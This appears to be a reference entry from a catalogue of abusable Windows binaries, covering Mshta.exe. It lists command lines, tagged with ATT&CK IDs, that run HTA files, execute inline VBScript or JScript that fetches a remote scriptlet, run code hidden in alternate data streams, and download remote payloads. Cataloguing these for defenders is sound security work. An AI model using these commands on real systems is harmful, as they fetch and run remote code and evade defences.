.. /Mshta.exe
Star

Execute (HTA, Remote, VBScript, JScript)
Alternate data streams (HTA)
Download (INetCache)

Used by Windows to execute html applications. (.hta)

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

    mshta.exe {PATH:.hta}
    Use case

    Execute code

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.005
    Tags
    Execute: HTA
    Execute: Remote
  2. Executes VBScript supplied as a command line argument.

    mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))
    Use case

    Execute code

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.005
    Tags
    Execute: VBScript
  3. Executes JavaScript supplied as a command line argument.

    mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();
    Use case

    Execute code

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.005
    Tags
    Execute: JScript

Alternate data streams

  1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

    mshta.exe "{PATH_ABSOLUTE}:file.hta"
    Use case

    Execute code hidden in alternate data stream

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
    ATT&CK® technique
    T1218.005
    Tags
    Execute: HTA

Download

  1. It will download a remote payload and place it in INetCache.

    mshta.exe {REMOTEURL}
    Use case

    Downloads payload from remote server

    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Download: INetCache